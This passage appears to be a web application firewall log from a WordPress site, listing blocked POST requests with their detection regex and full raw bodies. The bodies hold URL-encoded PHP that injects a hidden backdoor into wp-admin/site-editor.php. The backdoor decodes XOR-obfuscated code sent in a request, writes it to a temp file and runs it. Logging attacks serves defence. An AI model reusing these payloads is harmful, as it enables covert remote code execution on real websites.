2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3743\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\neR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:18","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> On:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3743\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nOn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:19","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3743\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJKbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:22","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3766\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/site-editor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524token%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522ref%255Cx65r%255Cx65n%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524rec%253D%2520%2527%2527%2520%253B%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524desc%2529%2529%257B%2524rec%2520.%253D%2520chr%2528ord%2528%2524desc%255B%2524o%255D%2529%2520%255E%252041%2529%253B%2524o%252B%252B%253B%257D%2520foreach%2520%2528%2524token%2520as%2520%2524key%2529%253A%2520if%2520%2528is_dir%2528%2524key%2529%2520%2526%2526%2520is_writable%2528%2524key%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524key%2522%2520.%2520%2522\/.object%2522%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524rec%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%